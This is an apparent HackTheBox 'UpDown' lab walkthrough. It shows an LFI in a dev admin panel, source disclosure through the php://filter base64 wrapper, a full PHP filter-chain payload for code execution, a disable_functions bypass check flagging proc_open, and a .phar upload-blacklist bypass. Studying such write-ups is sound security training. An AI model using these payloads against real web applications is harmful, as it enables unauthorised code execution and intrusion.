dev.siteisup.htb


┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ curl -i http://siteisup.htb/dev/index.php -H 'Special-Dev: only4dev'
HTTP/1.1 200 OK
date: Mon, 04 Dec 2023 14:39:43 GMT
server: Apache/2.4.41 (Ubuntu)
content-length: 0
content-type: text/html; charset=UTF-8

Given the /dev/index.php file still appears empty with the privileged header, it is likely that the change has been made already

Earlier, the dev.siteisup.htb virtual was identified with no progress on enumeration due to the web server endlessly returning 403 This just might be where the aforementioned “new admin panel” is

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ curl -i http://dev.siteisup.htb/index.php -H 'Special-Dev: only4dev'
HTTP/1.1 200 OK
date: Mon, 04 Dec 2023 14:47:43 GMT
server: Apache/2.4.41 (Ubuntu)
vary: Accept-Encoding
content-length: 1220
content-type: text/html; charset=UTF-8
 
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<!DOCTYPE html>
<html>
 
  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>
 
  <body>
 
    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>
 
    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
			    <label>list of websites to check:</label><br><br>
				<input type="file" name="file" size="50">
				<input name="check" type="submit" value="Check">
		</form>
 
      </section>
    </div>
 
    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>
 
  </body>
</html>

With the privileged header supplied, the Web server returned 200. It was here that the development team had migrated the admin panel to

From here I will have Burp Suite handle the privileged header with the built-in cookie jar

Webroot It reveals the familiar interface from the source code enumeration earlier

changelog.txt


The changelog.txt hyperlink is broken due to the misuse of relative path

Admin Panel


The Admin Panel hyperlink at the right-top is rather interesting as seems to load resources using the page parameter it may be using the php include with the extension being filtered out

LFI


Giving index to the page parameter results in endless loading of the index.php file and it eventually crashes This confirms the LFI as the index.php file itself contains the inclusion to the admin.php file, resulting the screen above

File Read via PHP Conversion Filter


remote file read is achievable via the php conversion filter to “wrap” the target resource by encoding it in the base64 format. this is a commonly used technique to further utilize the existing LFI to perform file read operation

the syntax is php://filter/convert.base64-encode/resource=<FILE> Given the LFI is done with the .php extension already appended, I can only access files with the .php extension There is the base64 string. I will grab that and convert it back to its original state offline on Kali It should match the source code of the index.php that was already enumerated

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo 'PGI+VGhpcyBpcyBvbmx5IGZvciBkZXZlbG9wZXJzPC9iPgo8YnI+CjxhIGhyZWY9Ij9wYWdlPWFkbWluIj5BZG1pbiBQYW5lbDwvYT4KPD9waHAKCWRlZmluZSgiRElSRUNUQUNDRVNTIixmYWxzZSk7CgkkcGFnZT0kX0dFVFsncGFnZSddOwoJaWYoJHBhZ2UgJiYgIXByZWdfbWF0Y2goIi9iaW58dXNyfGhvbWV8dmFyfGV0Yy9pIiwkcGFnZSkpewoJCWluY2x1ZGUoJF9HRVRbJ3BhZ2UnXSAuICIucGhwIik7Cgl9ZWxzZXsKCQlpbmNsdWRlKCJjaGVja2VyLnBocCIpOwoJfQkKPz4K' | base64 -d
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
	define("DIRECTACCESS",false);
	$page=$_GET['page'];
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");
	}else{
		include("checker.php");
	}	
?>

It matches 100% I won’t need to confirm all the file individually Continuing the enumeration

LFI2RCE via PHP Filter Chain


Use of PHP filter could further be leveraged by chaining them all together as there are so many other PHP filters to take advantage of It essentially would mean that all the characters could be transferred via the PHP filter conversion

There is a Python script that automates such process

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

The above command generates a chained-PHP-filter payload for the '<?php phpinfo(); ?>' PHP command

phpinfo

PHP Code execution is possible this way.

disable_functions

However, looking at the PHP configuration, almost all of the functions used for establishing a shell session are disabled, such as exec, shell_exec, system, and passthru functions

I will need to check them thoroughly and there is a Python script for that

Check Dangerous Function (dfunc_bypasser.py)

this is a tool that can be used by developers to check if exploitation using LD_PRELOAD is still possible given the current disable_functions field in the php.ini file and taking into consideration the PHP modules installed on the server.

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ mv ~/Downloads/PHP\ 8.0.20\ -\ phpinfo\(\).html ./phpinfo.html

i will first save the output of phpinfo

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ python2 dfunc_bypasser.py --file phpinfo.html
 
please add the following functions in your disable_functions option: 
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket

the dfunc_bypasser.py tool flags the proc_open function for being missed out the proc_open function could be abuse for code execution while not as simple as the usual methods from exec, shell_exec, system, and passthru functions

Uploading feature


Considering the uploading feature’s blacklist omitted the .phar extension, PHP code execution could be achieved by uploading a file with arbitrary PHP code and the .phar extension

PHP archives or files that are packaged in the PHAR (PHP Archive) format are called PHAR files that fall under the category of executable files. PHAR files are files storing file collections and supporting bzip2 and gzip compression and archive checksums as well as they are also files used to distribute and run PHP applications with the use of only one file. PHAR files can be similar with the .JAR files of Java as well as they can also be run using PHP

The .phar extension works much like the.jar extension of Java, and most importantly, it can be used like the regular .php extension for code execution

PHP also supports the PHAR protocol that could be used in conjunction with the inclusion vulnerability. In the current context, RFI doesn’t appear to be achievable, but it may be abused for uploaded files

┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo -e '<?php phpinfo(); ?>' > phpinfo.phar

I will create a testing file with its content set to the PHP phpinfo function and give it the .phar extension

Uploading sends out a POST request as expected. This will run a series of PHP operations in the backend as previously enumerated I will be uploaded to the directory (uploads/<MD5_HASH_OF_CURRENT_TIMESTAMP>/) directory

There is a generated directory in the /uploads/ directory

However, it’s empty This is because there is also deletion at the end of checking operation at the checker.php file The testing PHAR file that I created earlier has no websites in it Therefore, the target web app never scanned any website and went straight to the deletion part As long as the scanning operation is in place, the uploaded file won’t be delete as it would need to resume

Re-attempt with Websites to Scan


┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo -e 'http://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\n<?php phpinfo(); ?>' > phpinfo.phar

I will give it a few websites to scan

Uploading it again

There is the newly generated directory at the /upload/ directory

With the testing PHAR file inside and present; phpinfo.phar

phpinfo.phar


Clicking into the testing file confirms the code execution Additionally, the disable_functions field could be seen again here, with the extensive list of functions

Deletion


The testing file is wiped off momentarily, presumably due to the @unlink at the completion of scanning. I would have to be quick. Moving on to the Exploitation phase